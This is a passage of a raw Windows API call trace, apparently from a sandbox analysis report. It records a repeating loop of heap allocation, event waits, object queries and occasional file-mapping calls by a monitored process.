returned 0x90e570 [0259.371] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.372] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.372] ResetEvent (hEvent=0x110) returned 1 [0259.372] SetEvent (hEvent=0x114) returned 1 [0259.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.372] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.372] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.372] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.372] ResetEvent (hEvent=0x110) returned 1 [0259.372] SetEvent (hEvent=0x114) returned 1 [0259.372] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.372] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.373] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.373] ResetEvent (hEvent=0x110) returned 1 [0259.373] SetEvent (hEvent=0x114) returned 1 [0259.373] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.373] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.373] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.373] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.374] ResetEvent (hEvent=0x110) returned 1 [0259.374] SetEvent (hEvent=0x114) returned 1 [0259.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.374] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.374] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.374] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.374] ResetEvent (hEvent=0x110) returned 1 [0259.374] SetEvent (hEvent=0x114) returned 1 [0259.374] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.374] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.375] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.375] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.375] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.375] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.375] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.375] ResetEvent (hEvent=0x110) returned 1 [0259.375] SetEvent (hEvent=0x114) returned 1 [0259.375] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.375] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.376] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.376] ResetEvent (hEvent=0x110) returned 1 [0259.376] SetEvent (hEvent=0x114) returned 1 [0259.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.376] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.376] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.376] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.376] ResetEvent (hEvent=0x110) returned 1 [0259.376] SetEvent (hEvent=0x114) returned 1 [0259.376] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.376] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.377] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.377] ResetEvent (hEvent=0x110) returned 1 [0259.377] SetEvent (hEvent=0x114) returned 1 [0259.377] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.377] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.377] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.377] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.378] ResetEvent (hEvent=0x110) returned 1 [0259.378] SetEvent (hEvent=0x114) returned 1 [0259.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.378] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.378] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.378] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.378] ResetEvent (hEvent=0x110) returned 1 [0259.378] SetEvent (hEvent=0x114) returned 1 [0259.378] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.378] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.379] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.379] ResetEvent (hEvent=0x110) returned 1 [0259.379] SetEvent (hEvent=0x114) returned 1 [0259.379] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.379] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.379] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.379] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.380] ResetEvent (hEvent=0x110) returned 1 [0259.380] SetEvent (hEvent=0x114) returned 1 [0259.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.380] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.380] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.380] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.380] ResetEvent (hEvent=0x110) returned 1 [0259.380] SetEvent (hEvent=0x114) returned 1 [0259.380] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.380] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.381] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.381] ResetEvent (hEvent=0x110) returned 1 [0259.381] SetEvent (hEvent=0x114) returned 1 [0259.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.381] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.381] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.381] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.381] ResetEvent (hEvent=0x110) returned 1 [0259.381] SetEvent (hEvent=0x114) returned 1 [0259.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.382] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.382] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.382] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.382] ResetEvent (hEvent=0x110) returned 1 [0259.382] SetEvent (hEvent=0x114) returned 1 [0259.382] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.382] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.383] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.383] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.383] ResetEvent (hEvent=0x110) returned 1 [0259.383] SetEvent (hEvent=0x114) returned 1 [0259.383] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.383] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.383] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.383] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.383] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.383] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.383] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.383] ResetEvent (hEvent=0x110) returned 1 [0259.384] SetEvent (hEvent=0x114) returned 1 [0259.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.384] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.384] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.384] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.384] ResetEvent (hEvent=0x110) returned 1 [0259.384] SetEvent (hEvent=0x114) returned 1 [0259.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.384] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.385] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.385] ResetEvent (hEvent=0x110) returned 1 [0259.385] SetEvent (hEvent=0x114) returned 1 [0259.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.385] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.385] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.385] ResetEvent (hEvent=0x110) returned 1 [0259.385] SetEvent (hEvent=0x114) returned 1 [0259.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.386] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.389] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.389] ResetEvent (hEvent=0x110) returned 1 [0259.389] SetEvent (hEvent=0x114) returned 1 [0259.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.389] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.389] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.389] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.389] ResetEvent (hEvent=0x110) returned 1 [0259.389] SetEvent (hEvent=0x114) returned 1 [0259.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.389] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.390] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.390] ResetEvent (hEvent=0x110) returned 1 [0259.390] SetEvent (hEvent=0x114) returned 1 [0259.390] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.390] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.390] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.391] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.391] ResetEvent (hEvent=0x110) returned 1 [0259.391] SetEvent (hEvent=0x114) returned 1 [0259.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.391] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.391] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.391] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.391] ResetEvent (hEvent=0x110) returned 1 [0259.391] SetEvent (hEvent=0x114) returned 1 [0259.391] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.391] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.392] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.392] ResetEvent (hEvent=0x110) returned 1 [0259.392] SetEvent (hEvent=0x114) returned 1 [0259.392] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.392] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.392] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.392] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.392] ResetEvent (hEvent=0x110) returned 1 [0259.393] SetEvent (hEvent=0x114) returned 1 [0259.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.393] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.393] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.393] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.393] ResetEvent (hEvent=0x110) returned 1 [0259.393] SetEvent (hEvent=0x114) returned 1 [0259.393] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.393] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.394] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.394] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.394] ResetEvent (hEvent=0x110) returned 1 [0259.394] SetEvent (hEvent=0x114) returned 1 [0259.394] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.394] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.395] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.395] ResetEvent (hEvent=0x110) returned 1 [0259.395] SetEvent (hEvent=0x114) returned 1 [0259.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.395] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.395] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.395] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.395] ResetEvent (hEvent=0x110) returned 1 [0259.395] SetEvent (hEvent=0x114) returned 1 [0259.395] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.395] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.396] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.396] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.396] ResetEvent (hEvent=0x110) returned 1 [0259.396] SetEvent (hEvent=0x114) returned 1 [0259.396] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.396] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.397] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.397] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.397] ResetEvent (hEvent=0x110) returned 1 [0259.397] SetEvent (hEvent=0x114) returned 1 [0259.397] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.397] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.397] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.397] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.397] MapViewOfFile (hFileMappingObject=0x1c4, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x3e0000 [0259.397] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x8f0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x8f0048, ResultLength=0x0) returned 0xc0000098 [0259.397] UnmapViewOfFile (lpBaseAddress=0x3e0000) returned 1 [0259.397] ResetEvent (hEvent=0x110) returned 1 [0259.398] SetEvent (hEvent=0x114) returned 1 [0259.398] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.398] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.398] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.398] ResetEvent (hEvent=0x110) returned 1 [0259.398] SetEvent (hEvent=0x114) returned 1 [0259.398] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.399] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: ObjectInformation=0x8f0048, ReturnLength=0x1e3ff90) returned 0x0 [0259.399] ResetEvent (hEvent=0x110) returned 1 [0259.399] SetEvent (hEvent=0x114) returned 1 [0259.399] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x200) returned 0x90e570 [0259.399] WaitForMultipleObjects (nCount=0x2, lpHandles=0x90e570*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0259.399] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90e570) returned 1 [0259.399] NtQueryObject (in: Handle=0x1c4, ObjectInformationClass=0x2, ObjectInformation=0x8f0048, ObjectInformationLength=0x2800, ReturnLength=0x1e3ff90 | out: 